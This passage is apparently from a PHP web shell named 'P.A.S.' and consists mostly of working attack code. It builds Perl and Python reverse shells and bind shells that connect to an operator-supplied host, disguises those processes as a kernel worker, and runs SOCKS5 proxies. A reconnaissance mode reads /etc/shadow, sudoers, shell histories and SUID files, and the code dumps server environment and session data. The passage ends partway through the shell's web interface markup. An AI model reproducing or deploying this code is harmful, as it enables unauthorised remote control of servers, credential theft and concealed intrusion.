3204 if (defined('PES')) die;
3205 }
3206 }
3207 die;
3208 break;
3209 case 't':
3210 function getCmdOpt($c, $n, $d) {
3211 if ($v = strpos($c, ' -' . $n)) return ltrim(substr($c, $v + 3, strcspn($c, ' ', $v + 4) + 1));
3212 return $d;
3213 }
3214 echo "\x01\x02";
3215 $D['e'] = isset($D['e']) ? trim($D['e']) : '';
3216 if (!isset($D['s'])) $D['s'] = '';
3217 $k = strtok($D['e'], ' ');
3218 if (in_array($k, array('backconnect.perl', 'bindport.perl', 'socks5.perl'))) {
3219 $p = '$0="' . getCmdOpt($D['e'], 'n', '[kworker/4:1]') . '\0";use IO::Socket;$SIG{"CHLD"}="IGNORE";$f="[Fail]";$w="[Warn]";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or die"$f Create socket: $!";';
3220 if ($k === 'backconnect.perl') $p.= '$a=inet_aton("' . strtok(' ') . '") or die"$f Convert host address: $!";$s=sockaddr_in(' . strtok(' ') . ',$a) or die"$f Packed address: $!";connect(S,$s) or die"$f Connect: $!";$r="S";';
3221 else $p.= 'setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1) or print"$w Set socket options: $!\n";$s=sockaddr_in(' . strtok(' ') . ',inet_aton("' . getCmdOpt($D['e'], 'a', '0.0.0.0') . '")) or die"$f Packed address: $!";bind(S,$s) or die"$f Bind socket: $!";';
3222 if ($k === 'bindport.perl') $p.= 'listen(S,1) or die"$f Listen socket: $!";accept(C,S) or die"$f Accept connection: $!";$r="C";';
3223 if ($k === 'socks5.perl') {
3224 $v = getCmdOpt($D['e'], 's', '');
3225 if ($v) $v = explode(':', $v);
3226 $p.= 'use threads;listen(S,SOMAXCONN) or die"$f Listen socket: $!";print"[Succ] Server successfully launched!\n";close(STDIN);close(STDOUT);close(STDERR);sub prcss{$C = $_[0];sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$b,1);sysread($C,$b,ord($b));if(index($b,"\x0' . ($v ? '2' : '0') . '")==-1){syswrite($C,"\x05\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x05\x0' . ($v ? '2' : '0') . '");';
3227 if ($v) $p.= 'sysread($C,$b,1);sysread($C,$l,1);sysread($C,$u,ord($l));sysread($C,$l,1);sysread($C,$p,ord($l));if(($b ne "\x01") || ($u ne "' . $v[0] . '") || ($p ne "' . $v[1] . '")){syswrite($C,"\x01\xFF");shutdown($C,0);close($C);return;}syswrite($C,"\x01\x00");';
3228 $p.= 'sysread($C,$b,1);if($b ne "\x05"){shutdown($C,2);close($C);return;}sysread($C,$c,1);sysread($C,$b,1);if($b ne "\x00"){shutdown($C,2);close($C);return;}sysread($C,$t,1);if($t eq "\x01"){sysread($C,$a,4);$d=$a;}elsif($t eq "\x03"){sysread($C,$a,1);sysread($C,$b,unpack("c",$a));$a.=$b;$d=inet_aton($b);}elsif($t eq "\x04"){sysread($C,$a,16);$d=$a;}else{shutdown($C,2);close($C);return;}sysread($C,$b,2);$a.=$b;if($c ne "\x01"){syswrite($C, "\x05\x07\x00".$t.$a);shutdown($C,0);close($C);return;}if(!socket(D,PF_INET,SOCK_STREAM,getprotobyname("tcp")) or !connect(D,sockaddr_in(unpack("n",$b),$d))){syswrite($C,"\x05\x05\x00".$t.$a);shutdown($C,0);close($C);close(D);return;}syswrite($C,"\x05\x00\x00".$t.$a);$m="";$fc=fileno($C);$fd=fileno(D);vec($m,$fc,1)=1;vec($m,$fd,1)=1;do{$c=$m;$rc=-1;$rd=-1;if(select($c,undef,undef,1)){if(vec($c,$fc,1)){$rc=sysread($C,$b,10240);if($rc){syswrite(D,$b);}}if(vec($c,$fd,1)){$rd=sysread(D,$b,10240);if($rd){syswrite($C,$b);}}}}while($rc!=0 && $rd!=0);shutdown($C,2);close($C);shutdown(D,2);close(D);}while(accept(C,S)){threads->create("prcss",C);}';
3229 } else {
3230 $v = getCmdOpt($D['e'], 's', NIX ? '/bin/sh -i' : 'cmd');
3231 $p.= 'print"[OK] Successful connected!\n";open(STDOUT,">&$r") or die"$f Redirect STDOUT: $!";print "\n# P.A.S. v.' . VER . ' ' . $k . '\n\n";open(STDIN, "<&$r") or die"$f Redirect STDIN: $!";open(STDERR,">&STDOUT") or print"$w Redirect STDERR: $!\n";exec("' . $v . '") or die"$f Run shell (' . $v . '): $!";';
3232 }
3233 $s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/perl' : 'perl.exe');
3234 if ($v = tempFile($p)) {
3235 exe($s . ' ' . $v . ' &', $D['f'], $D['s']);
3236 delFile($v);
3237 } else exe($s . " -e '" . $p . "' &", $D['f'], $D['s']);
3238 } elseif (in_array($k, array('backconnect.python', 'bindport.python', 'socks5.python'))) {
3239 $p = "try:\n import sys,socket";
3240 if ($k === 'socks5.python') $p.= ',struct,threading,select';
3241 else $p.= ',os,' . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess' : 'pty');
3242 $p.= ";\n S = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n";
3243 if ($k === 'backconnect.python') {
3244 $p.= ' S.connect(("' . strtok(' ') . '",' . strtok(' ') . "));\n";
3245 $s = 'S';
3246 } else $p.= " S.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);\n" . ' S.bind(("' . getCmdOpt($D['e'], 'a', '') . '",' . strtok(' ') . "));\n S.listen(5);\n";
3247 if ($k === 'bindport.python') {
3248 $p.= " (C,A) = S.accept();\n";
3249 $s = 'C';
3250 }
3251 if ($k === 'socks5.python') {
3252 $v = getCmdOpt($D['e'], 's', '');
3253 if ($v) $v = explode(':', $v);
3254 $p.= "except Exception as e:\n print(e);\nelse:\n" . ' print("[Succ] Server successfully launched!"+chr(10));' . "\n sys.stdin.close();\n sys.stderr.close();\n sys.stdout.close();\n def prcss(C):\n" . ' if C.recv(1)!=b"\x05":' . "\n C.shutdown(2);\n C.close();\n return;\n" . ' if b"\x0' . ($v ? '2' : '0') . '" not in C.recv(struct.unpack("B", C.recv(1))[0]):' . "\n" . ' C.send(b"\x05\xFF");' . "\n C.shutdown(0);\n C.close();\n return;\n" . ' C.send(b"\x05\x0' . ($v ? '2' : '0') . '");' . "\n";
3255 if ($v) $p.= ' if (C.recv(1)!=b"\x01") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[0] . '") or (C.recv(struct.unpack("B", C.recv(1))[0])!=b"' . $v[1] . '"):' . "\n" . ' C.send(b"\x01\xFF");' . "\n C.shutdown(0);\n C.close();\n return;\n" . ' C.send(b"\x01\x00");' . "\n";
3256 $p.= ' if C.recv(1)!=b"\x05":' . "\n C.shutdown(2);\n C.close();\n return;\n c = C.recv(1);\n" . ' if C.recv(1)!=b"\x00":' . "\n C.shutdown(2);\n C.close();\n return;\n t = C.recv(1);\n" . ' if t==b"\x01":' . "\n a = C.recv(4);\n" . ' d = socket.inet_ntoa(a);' . "\n" . ' elif t==b"\x03":' . "\n a = C.recv(1);\n" . ' d = C.recv(struct.unpack("B", a)[0]);' . "\n a += d;\n" . ' elif t==b"\x04":' . "\n a = C.recv(16);\n" . ' d = socket.inet_ntop(socket.AF_INET6, a);' . "\n else:\n C.shutdown(2);\n C.cloce();\n return;\n p = C.recv(2);\n a += p;\n" . ' if c!=b"\x01":' . "\n" . ' C.send(b"\x05\x07\x00"+t+a);' . "\n C.shutdown(0);\n C.close();\n return;\n D = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n try:\n" . ' D.connect((d, struct.unpack(">H", p)[0]));' . "\n except:\n" . ' C.send(b"\x05\x05\x00"+t+a);' . "\n C.shutdown(0);\n C.close();\n D.close();\n else:\n" . ' C.send(b"\x05\x00\x00"+t+a);' . "\n C.setblocking(0);\n D.setblocking(0);\n while True:\n r,w,e = select.select([C,D], [], []);\n if len(r)>0:\n try:\n d = r[0].recv(10240);\n if r[0]==C:\n D.send(d);\n else:\n C.send(d);\n except:\n D.close();\n C.close();\n break;\n while True:\n (C,A) = S.accept();\n t = threading.Thread(target=prcss,args=(C,));\n t.daemon = True;\n t.start();";
3257 } else $p.= ' print("[OK] Successful connected!\n");' . "\n sys.stdout.flush();\n" . ' os.dup2(' . $s . ".fileno(),0);\n" . ' os.dup2(' . $s . ".fileno(),1);\n" . ' os.dup2(' . $s . ".fileno(),2);\n" . ' print("\n# P.A.S. v.' . VER . ' ' . $k . '\n\n");' . "\n sys.stdout.flush();\n " . (getCmdOpt($D['e'], 't', 'N') === 'N' ? 'subprocess.Popen' : 'pty.spawn') . '(["' . getCmdOpt($D['e'], 's', NIX ? '/bin/sh","-i' : 'cmd') . '"]);' . "\nexcept Exception as e:\n" . ' print(e);';
3258 $s = getCmdOpt($D['e'], 'i', NIX ? '/usr/bin/python' : 'python.exe');
3259 if ($v = tempFile($p)) {
3260 exe($s . ' ' . $v . ' &', $D['f'], $D['s']);
3261 delFile($v);
3262 } else exe("echo '" . $p . "'| " . $s . ' - &', $D['f'], $D['s']);
3263 } elseif ($k === 'report') {
3264 $i = getCmdOpt($D['e'], 's', '');
3265 if (NIX) {
3266 $t = "echo ' -------------------------------------------------';";
3267 $h = 'echo;echo;' . $t . "echo '|' ";
3268 $v = "echo '* This report created by P.A.S. v." . VER . "';echo '* '`date -u +'%Y-%m-%d %H:%M:%S %Z'`;";
3269 if (strpos($i, 'o') === FALSE) $v.= $h . 'OS Identification;' . $t . "echo '==> uname <==';" . 'uname -a;echo;tail -n +1 /proc/*version* /etc/*issue* /etc/*release* /etc/*version* /etc/motd;';
3270 if (strpos($i, 'e') === FALSE) $v.= $h . 'Environment;' . $t . 'env;';
3271 if (strpos($i, 'u') === FALSE) $v.= $h . 'Users and Groups;' . $t . "echo '==> id <==';" . 'id;echo;' . "echo '==> whoami <==';" . 'whoami;echo;tail -n +1 /etc/*passwd* /etc/*group* /etc/*shadow* /etc/sudoers;echo;' . "echo '==> who <==';" . 'who;';
3272 if (strpos($i, 'l') === FALSE) $v.= $h . 'Lang;' . $t . 'php -v|head -n1;python -V 2>&1;perl -v|head -n2|tail -n1;ruby -v;gcc --version|head -n1;';
3273 if (strpos($i, 'p') === FALSE) $v.= $h . 'Processes;' . $t . 'ps -uax;';
3274 if (strpos($i, 'c') === FALSE) $v.= $h . 'CPU;' . $t . 'cat /proc/cpuinfo;';
3275 if (strpos($i, 'n') === FALSE) $v.= $h . 'Network;' . $t . 'tail -n +1 /etc/host*;' . "echo '==> Listening ports <==';" . 'netstat -ln;' . "echo '==> IP config <==';" . 'ifconfig -a; ip a;';
3276 if (strpos($i, 'r') === FALSE) $v.= $h . 'Cron;' . $t . 'tail -n +1 /etc/*crontab;' . "echo '==> Files <==';" . 'ls -al /etc/*cron*;ls -al /var/spool/cron/*;echo;';
3277 if (strpos($i, 'h') === FALSE) $v.= $h . 'Histories;' . $t . 'for d in `cut -d":" -f6 /etc/passwd`;do ls -al $d/.*hist*;done;';
3278 if (strpos($i, 'f') === FALSE) {
3279 $v.= $h . 'File System;' . $t . "echo '==> mount <==';mount;echo;echo '==> Disks <==';df -h;echo;echo '==> / <==';ls -al /;echo;echo '==> /boot <==';ls -al /boot;echo;echo '==> /etc <==';ls -al /etc;echo;echo '==> /tmp <==';ls -al /tmp;echo;echo '==> Libs <==';ls -al --full-time /lib*;echo;";
3280 if (strpos($i, 's') === FALSE) $v.= "echo '==> SUID Files <==';" . 'find / -type f -perm -u+s -ls;';
3281 }
3282 } else {
3283 $t = 'echo ------------------------------------------------- & ';
3284 $h = $t . 'echo ^| ';
3285 $v.= $h . 'OS &' . $t . 'reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName & ';
3286 if (strpos($i, 's') === FALSE) $v.= $h . 'System Info & ' . $t . 'systeminfo & ';
3287 if (strpos($i, 'e') === FALSE) $v.= $h . 'Environment & ' . $t . 'SET & ';
3288 if (strpos($i, 'u') === FALSE) $v.= $h . 'Users and Groups & ' . $t . 'NET USER & NET LOCALGROUP & NET GROUP & ';
3289 if (strpos($i, 't') === FALSE) $v.= $h . 'Tasks & ' . $t . 'schtasks /v & ';
3290 if (strpos($i, 't') === FALSE) $v.= $h . 'Processes & ' . $t . 'tasklist /SVC & ';
3291 if (strpos($i, 'n') === FALSE) $v.= $h . 'Network & ' . $t . 'echo ==^> ipconfig ^<== & ipconfig /all & echo ==^> netstat ^<== & netstat -ano & echo ==^> Files ^<== & type %systemroot%\\system32\\drivers\\etc\\* & ';
3292 if (strpos($i, 'r') === FALSE) $v.= $h . 'Share & ' . $t . 'NET SHARE & ';
3293 }
3294 $i = getCmdOpt($D['e'], 'f', FALSE);
3295 exe($v, $D['f'], $D['s'], TRUE, $i ? ' 1>' . $i : '');
3296 if ($i) echo 'Report saved as ', $i, "\n";
3297 } else {
3298 $s = NIX ? ';' : '&';
3299 $v = 'cd ' . (NIX ? nesc($D['p']) : wesc($D['p'])) . $s;
3300 if ($D['e'] !== '') {
3301 $v.= $D['e'];
3302 if (substr($D['e'], -1) !== $s) $v.= $s;
3303 }
3304 $v.= 'echo ' . "\x03\x1E\x02" . $s . (NIX ? 'whoami' : 'echo %username%') . $s . 'hostname' . $s . (NIX ? 'pwd' : 'cd');
3305 exe($v, $D['f'], $D['s'], !isset($D['h']));
3306 }
3307 die("\x03\x1E\x17\x04\x10");
3308 break;
3309 default:
3310 if ($D['t'] === 'm') {
3311 infMain();
3312 die;
3313 }
3314 if ($D['t'] === 'p') {
3315 echo '{"Configs":{';
3316 $a = array();
3317 $b = FALSE;
3318 if (PHP_VERSION >= '5.2.4') $a[] = php_ini_loaded_file();
3319 if (PHP_VERSION >= '4.3') $a[] = php_ini_scanned_files();
3320 if ($a) {
3321 $b = TRUE;
3322 echo '"Loaded files":';
3323 jsonEcho(implode(",\n", $a));
3324 }
3325 if (PHP_VERSION >= '4.2' && is_array($a = ini_get_all())) foreach ($a as $k => $v) {
3326 if ($b) echo ',';
3327 else $b = TRUE;
3328 jsonEcho($k);
3329 echo ':';
3330 jsonEcho($v['local_value']);
3331 }
3332 echo '}';
3333 echo ',"Main Constants":{';
3334 $b = FALSE;
3335 foreach (array('PHP_OS', 'PHP_WINDOWS_VERSION_MAJOR', 'PHP_WINDOWS_VERSION_MINOR', 'PHP_WINDOWS_VERSION_BUILD', 'PHP_WINDOWS_VERSION_SP_MAJOR', 'PHP_WINDOWS_VERSION_SP_MINOR', 'PHP_WINDOWS_VERSION_SUITEMASK', 'PHP_WINDOWS_VERSION_PLATFORM', 'PHP_WINDOWS_VERSION_PRODUCTTYPE', 'PHP_WINDOWS_NT_WORKSTATION', 'PHP_WINDOWS_NT_SERVER', 'PHP_WINDOWS_NT_DOMAIN_CONTROLLER', 'PHP_SAPI', 'PHP_VERSION', 'PHP_BINARY', 'PHP_PREFIX', 'PHP_BINDIR', 'PHP_LIBDIR', 'PHP_SHLIB_SUFFIX', 'PHP_EXTENSION_DIR', 'PHP_DATADIR', 'PHP_CONFIG_FILE_PATH', 'PHP_CONFIG_FILE_SCAN_DIR', 'PHP_MANDIR', 'DEFAULT_INCLUDE_PATH', 'PHP_SYSCONFDIR', 'PHP_LOCALSTATEDIR', 'DIRECTORY_SEPARATOR', 'PATH_SEPARATOR', 'PHP_MAXPATHLEN', 'PHP_INT_MAX', 'PHP_INT_SIZE', 'PEAR_INSTALL_DIR', 'PEAR_EXTENSION_DIR') as $v) if (defined($v)) {
3336 if ($b) echo ',';
3337 else $b = TRUE;
3338 echo '"', $v, '":';
3339 jsonEcho(constant($v));
3340 }
3341 echo '}';
3342 if (is_array($a = get_loaded_extensions())) {
3343 echo ',"Modules":{';
3344 $b = FALSE;
3345 $i = array('DOTTED_VERSION', 'VERSION', 'VERSION_TEXT');
3346 foreach ($a as $v) {
3347 if ($b) echo ',';
3348 else $b = TRUE;
3349 jsonEcho($v);
3350 echo ':';
3351 if (!($k = phpversion($v))) {
3352 $v = strtoupper($v);
3353 foreach ($i as $n) if (defined($v . '_' . $n)) {
3354 $k = constant($v . '_' . $n);
3355 break;
3356 }
3357 }
3358 if ($k) jsonEcho($k);
3359 else echo '""';
3360 }
3361 echo '}';
3362 }
3363 if (PHP_VERSION >= '5') {
3364 echo ',"Streams":{"Transports":';
3365 jsonEcho(implode(", ", stream_get_transports()));
3366 echo ',"Wrappers":';
3367 jsonEcho(implode(", ", stream_get_wrappers()));
3368 echo ',"Filters":';
3369 jsonEcho(implode(", ", stream_get_filters()));
3370 echo '}';
3371 }
3372 $b = FALSE;
3373 foreach (array('_ENV', '_SERVER', '_SESSION', '_REQUEST', '_GET', '_POST', '_COOKIE', '_FILES', 'HTTP_RAW_POST_DATA', 'argc', 'argv') as $v) if (isset($$v) && count($$v) > 0) {
3374 if (!$b) echo ',"Global Variables":{';
3375 foreach ($$v as $k => $i) {
3376 if ($b) echo ',';
3377 else $b = TRUE;
3378 jsonEcho($v . '[' . $k . ']');
3379 echo ':';
3380 jsonEcho(print_r($i, TRUE));
3381 }
3382 }
3383 if ($b) echo '}';
3384 die('}');
3385 }
3386 break;
3387 }
3388 }
3389 ob_start('ob_gzhandler'); ?><!DOCTYPE html><html><head><link rel="icon" type="image/gif" href="data:image/gif;base64,R0lGODlhEAAQAJECAMDAwAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAQAIglI+pGwErgITtiWowc7D7b0iWGE7gp51qknrkemgyBxcAOw=="/><meta charset="<?php echo CSE; ?>"/><title><?php if (isset($_SERVER['HTTP_HOST'])) echo escHTML($_SERVER['HTTP_HOST']);
3390 elseif (isset($_SERVER['SERVER_NAME'])) echo escHTML($_SERVER['SERVER_NAME']); ?></title><style>*{box-sizing:border-box;outline:0}:focus{box-shadow:0 0 3px 0 rgba(0,150,255,.5)}:disabled{opacity:.5}::-moz-focus-inner{padding:0;border:0}html{height:100%;padding:0 0 8px 0;background:#f0f0f0}body{position:relative;display:flex;margin:0 auto 8px auto;width:1000px;min-height:100%;font:normal 11px/1.5 Verdana,sans-serif;border:1px solid #fff;box-shadow:0 0 10px rgba(0,0,0,.5);flex-direction:column}iframe{display:none}a,a:visited{color:unset;text-decoration:none}pre{display:block}fieldset{border:1px solid #c7c7c7}table{width:100%;border-collapse:collapse}th,td{padding:3px 5px;border:1px solid #dfdfdf}thead,tfoot{color:#fcfcfc;background:#7f7f7f}tbody{background:#f7f7f7}tbody tr:hover{background:#ececec}tfoot th{padding:8px 0 4px 2px;text-align:left}tfoot button{width:90px}input,select,button,textarea{margin:1px 2px;font:11px/1.4 Verdana,sans-serif;background:#eaeaea;border:1px solid #c7c7c7}label,select,button{cursor:pointer}button{padding:1px 10px;border-radius:3px}textarea{display:block;flex:1;font:13px/1.5 'Courier New',monospace;background:#fff;resize:none}input[type="text"]{padding:1px 2px;display:block;width:100%;flex:1}input[type="text"]:not(:disabled):focus{background:#fff}input[type="checkbox"]{vertical-align:text-top}input:not(:disabled):hover,select:not(:disabled):hover,button:not(:disabled):hover,input:not(:disabled):focus,select:not(:disabled):focus,button:not(:disabled):focus{background:#f0f0f0;border-color:#a7a7a7}button:not(:disabled):active{background:#e0e0e0;border-color:#a0a0a0 #d0d0d0 #d0d0d0 #a0a0a0}textarea:hover,textarea:focus{border-color:#7f7f7f}#divHdr{position:absolute;top:2px;right:4px;z-index:1}#divBody{position:relative;flex:1}#divFtr{margin:0 2px 3px 2px;clear:both}#divFtr div{flex:1 1 0}#divDtTm{text-align:center}#actLog{display:none;float:right;font-size:20px;line-height:16px}#divMsgs{position:fixed;left:0;right:0;bottom:10px;z-index:999;max-height:20%;overflow-y:auto}#divMsgs div{opacity:0.8}#divMsgs div:hover{opacity:1}.tab,:target ~ #tabInf .tab{display:inline-block;margin:5px 0 0 2px;padding:3px 15px 1px 15px;color:#707070 !important;border:1px solid #d0d0d0;border-bottom:0;border-radius:3px 3px 0 0;background:#e7e7e7}:target .tab,#tabInf .tab{position:relative;margin-bottom:-2px;padding-bottom:3px;z-index:1;color:#000 !important;background:#f7f7f7}.tabPage{display:none;float:left;width:100%;height:100%;flex-direction:column}:target .tabPage,#divInfo.tabPage{display:flex}:target ~ #tabInf>#divInfo.tabPage{display:none}.toolbar,.subbar,.panel{display:flex;border:1px solid #d0d0d0;background:#f7f7f7}.toolbar{margin:1px 0 4px 0;padding:8px 2px 5px 2px;border-width:1px 0;align-items:center;justify-content:space-between}.subbar{margin:-5px 0 4px 0;padding:2px 3px 5px 5px;border-width:0 0 1px 1px;border-radius:0 0 0 4px;align-self:flex-end}.panel{position:relative;margin:0 2px 8px 2px;padding:4px 3px}.arwUp,.arwDwn{display:inline-block;margin:0 0 2px 0;padding:0;border:solid transparent;border-width:4px 5px 4px 5px}.arwUp{border-top:0;border-bottom-color:#000}.arwDwn{border-top-color:#000;border-bottom:0}.spnChrst{display:inline-block;margin:0 0 0 4px;padding:0}.spnChrst .arwUp,.spnChrst .arwDwn{position:relative;margin:0 -16px 2px 2px}.spnChrst select{padding-left:11px}.cntrl{display:inline-block;overflow:hidden;opacity:.5;color:#000;border-radius:5px}.cntrl.arwDwn{margin:0 1px;border-width:7px 6px 0 6px;border-radius:0}.cntrl:hover,.cntrl:focus{opacity:1}.divCntrls .cntrl,#btnSrch{width:18px;height:19px}.divCntrls .cntrl{float:right;margin-top:-1px;font:normal 20px/16px Verdana,sans-serif;text-align:center}.lnkAct:hover{text-decoration:underline}.blink{animation:blink 1s steps(2,start) infinite}@keyframes blink{to{color:transparent}}.modal{display:flex;position:fixed;visibility:hidden;z-index:100;top:50%;left:50%;transform:translateX(-50%) translateY(-50%);padding:3px 3px 5px 3px;flex-direction:column;border:1px solid #fff;background:#f7f7f7;box-shadow:0 0 10px rgba(0,0,0,.5)}.divCntrls{margin-bottom:5px}.spnTitle{font-weight:bold}.option{display:block;margin:0 2px 10px 2px;flex:1}.option input[type="text"]{margin:1px 0}.option select{display:block;margin:0 1px}.divMsgPrcs,.divMsgErr,.divMsgInf{margin:0 10px 10px 10px;padding:3px 3px 3px 5px;white-space:pre-wrap;border:1px solid;border-radius:3px}.divMsgPrcs{background-image:linear-gradient(#fff,#e0e0e0);border-color:#a0a0a0}.divMsgErr{background-image:linear-gradient(#fff,#ffd0d0);border-color:#ffa0a0}.divMsgInf{background-image:linear-gradient(#fff,#c0c0ff);border-color:#a0a0ff}#divStngs{width:300px}#divLog{width:80%;height:50%}#divLogCntn{overflow-y:auto}.flexRow{display:flex;align-items:center;justify-content:space-between}.unq{color:#7a6f15}#divPagePHP,#frmTrm{position:absolute;padding-bottom:30px}#btnSrch{margin-right:4px}#btnSrch:before,#btnSrch:after{content:'';display:inline-block;border:1px solid}#btnSrch:before{margin:0 0 0 2px;width:8px;height:9px;border-radius:50%}#btnSrch:after{margin:0 0 -5px 0;height:6px;transform:rotate(-45deg)}#btnFastAct{margin-left:-4px;padding:1px 5px;border-radius:0 3px 3px 0}#btnFastAct:active{padding:2px 5px 0 5px}#frmFiles{margin:0 2px 10px 2px}#tblFiles{display:none;table-layout:fixed}#tblFiles thead th:first-of-type,#tblFiles td:first-of-type{padding:0;text-align:center}#tblFiles td:nth-of-type(3){white-space:nowrap}#tblFiles td:nth-of-type(4){text-align:right}#tblFiles td:nth-of-type(n+5){text-align:center}#txtClpbrd{position:fixed;top:-1px;left:-1px;margin:0;padding:0;width:1px;height:1px;border:0}#frmLnk,.frmFilesPrps{width:700px}#frmSrch{width:570px}#frmBuffer,.frmFile{width:800px;height:80%}.frmFile{min-width:400px;min-height:150px;overflow:auto;resize:both}.spcrFlex{border:0;flex:1}.spcr20{border:0;width:20px}.noFlex .option{flex:initial}.spnBtnSbMn{position:relative}.btnSbMn{width:75px}.divSbMn{display:none;position:absolute;top:100%;right:3px;margin-top:-1px;width:73px;z-index:1;border:1px solid #c7c7c7;background:#efefef}.aMnItm{display:block;margin:1px;padding:2px 4px}.aMnItm:hover{background:#e0e0e0}.thPth{padding:8px 0 4px 0;background:#f0f0f0}.spnPth{display:inline-block;font:14px/1.4 'Courier New',monospace}.spnPth:hover ~ .spnPth{color:#cfcfcf}.tdUp{transform:rotate(180deg)}.lnkBlck{display:block;white-space:pre-wrap;word-break:break-all;min-height:1em}.lnk:after{content:'\21B5';float:right}.mrkd{text-decoration:underline}.prm0,.prm1,.prm2,.prm3{font:12px 'Courier New',monospace}.prm0{color:red !important}.prm2{color:#2b2bb2 !important}.prm3{color:#00aa00 !important}#tabSQL .toolbar input[type="text"]{margin:1px 4px}#divSQLWrpLeft{display:none;float:left;width:25%}#divSQLWrpRight{float:right;width:75%;padding-left:5px}#divSchm{position:static;white-space:nowrap;width:100%;overflow-x:hidden}.divItm{margin-bottom:2px}.actRe{margin:0 1px -3px 0;width:16px;height:14px;font:normal 19px/10px Verdana,sans-serif;border:1px solid transparent}.aMore{margin:0 1px}.aMore:hover{position:absolute;padding-right:3px;border-radius:3px;background:#f7f7f7;z-index:90}.spnRC{position:relative;float:right;margin-left:-100%;padding-left:5px;color:#0000cc;background:rgba(247,247,247,.85)}.divLst{margin:2px 0 10px 15px}.divFldTp{height:1.5em;margin:0 0 0 18px;color:#afafaf;font-size:xx-small}.divFldTp,.divItm{text-overflow:ellipsis;overflow:hidden}#frmSQL,#frmPg{display:none}#divCptn{margin:0 4px 2px 4px;font-style:italic}#divData{margin:0 4px 4px 0;overflow:auto}#divDump{justify-content:center;align-items:center}#tblHead,#tblData{margin:0 auto;width:auto}#frmPg input[type="text"]{display:inline-block;width:auto}#frmPHP{margin-bottom:3px}.cmpsRow:before,.cmpsCol:before{margin:0 2px 0 1px;font-size:15px;line-height:0}.cmpsRow:before{content:'\2B12'}.cmpsCol:before{content:'\25E7'}#sbmPHP{margin-left:15px}#divPHP{display:flex;flex:1 1 0;overflow:hidden}#txtPHP{color:#f0f0f0;background:#000}#prePHP{margin:2px;padding:2px 4px;flex:1 0 0;overflow:auto;background:#fff;border:1px solid #c7c7c7}#divTrm::selection{background:#f0f0f0}#divTrm,#preTrm,#inpTrm{color:#f0f0f0;font:12px/18px 'Courier New',monospace;background:#000}#divTrm{margin:0 2px 1px 2px;padding:4px;flex:1 1 0;overflow:auto;border:1px solid #d0d0d0}#preTrm,#inpTrm{margin:0;padding:0}#preTrm{white-space:pre-wrap;-moz-tab-size:4;tab-size:4}#inpTrm{border:0}#inpTrm:focus{box-shadow:none}#tblInf{margin:4px 2px 10px 2px;width:auto}#tblInf th,#tblInf td{vertical-align:top}#tblInf th{width:1%;padding-right:10px;text-align:left;white-space:nowrap}#tblInf th:only-child{height:3em;text-align:center;vertical-align:bottom;border:none;background:#F0F0F0}#tblInf td{white-space:pre-wrap;word-break:break-all}</style><script>HTMLSelectElement.prototype.__defineGetter__('textValue',function(){return this.options[this.selectedIndex].label;});var mdlWndws=[],tmShft=<?php echo time() * 1000; ?>-Date.now(),exeFuncs=[],spnDtTm;document.addEventListener('DOMContentLoaded',function(){if(sessionStorage.getItem('uiRszBody'))document.body.style.width='100%';var e=elmById('dataExe').textContent.split('\n');for(var i=0,c=e.length-1;i<c;i+=4){var v=e[i].trimRight().split(':');exeFuncs.push([v[0],v[1],e[i+1].trimRight()+'@'+e[i+2].trimRight(),e[i+3].trimRight()]);}e=elmById('frmCstEnv');if(exeFuncs.length>0){strgRstrChck('envCstm',e.e);for(var i=0,c=exeFuncs.length,v=sessionStorage.getItem('envFunc')|0;i<c;++i){var opt=new Option(exeFuncs[i][1],exeFuncs[i][0]);if(exeFuncs[i][0]==v)opt.selected=true;e.f.add(opt);}strgRstrVal('envShell',e.s);strgRstrVal('envIntrPth',e.i);strgRstrChck('envIntrOptN',e.n);strgRstrChck('envIntrOptC',e.c);}else{elmById('fldEnv').disabled=true;e.e.disabled=true;}strgRstrChck('useGet','cbGET');strgRstrChck('obfs','cbObfs');fmRestoreState();sqlRestoreState();phpRestoreState();trmRestoreState();spnDtTm=elmById('divDtTm').firstChild;uiUpdDtTm();setInterval(uiUpdDtTm,1500);},false);window.onbeforeunload=function(){strgSaveBool('uiRszBody',document.body.style.width==='100%');if(exeFuncs.length>0){var e=elmById('frmCstEnv');strgSaveBool('envCstm',e.e.checked);strgSaveOpt('envFunc',e.f.value);strgSaveStr('envShell',e.s.value);strgSaveStr('envIntrPth',e.i.value);strgSaveBool('envIntrOptN',e.n.checked);strgSaveBool('envIntrOptC',e.c.checked);}strgSaveBool('useGet','cbGET');strgSaveBool('obfs','cbObfs');fmSaveState();sqlSaveState();phpSaveState();trmSaveState();};function elmById(v){return document.getElementById(v);}function newElm(tag,attr){var e=document.createElement(tag);for(var k in attr)e[k]=attr[k];return e;}function strgRstrVal(opt,elm){opt=sessionStorage.getItem(opt);if(opt===null)return;if(typeof elm==='string')elm=elmById(elm);elm.value=opt;}function strgRstrArr(n){var val=sessionStorage.getItem(n);return val===null?[]:JSON.parse(val);}function strgRstrChck(opt,elm){if(sessionStorage.getItem(opt)===null)return;if(typeof elm==='string')elm=elmById(elm);elm.checked=true;}function uiKeyDwn(e){e=e||window.event;var c=mdlWndws.length;if(c===0)return;if(e.which===27)for(var i=c-1;i>=0;--i){if(mdlWndws[i].clientTop)return mdlWndws[i].firstChild.childNodes[1].onclick();}else if(c>1&&e.altKey===true&&e.which===84)for(var i=0;i<c;++i)if(mdlWndws[i].clientTop&&i+1<c){mdlWndws[i].style.zIndex=(mdlWndws[c-1].style.zIndex|0)+1;mdlWndws.push(mdlWndws.splice(i,1)[0]);return;}}function uiUpdDtTm(){var v=new Date(Date.now()+tmShft).toISOString();v=v.slice(0,10)+' '+v.slice(11,13)+'<span class="blink">:</span>'+v.slice(14,16);if(spnDtTm.innerHTML!==v)spnDtTm.innerHTML=v;}function strgSaveArr(n,v){if(v.length)sessionStorage.setItem(n,JSON.stringify(v));else sessionStorage.removeItem(n);}function strgSaveBool(n,v){if(typeof 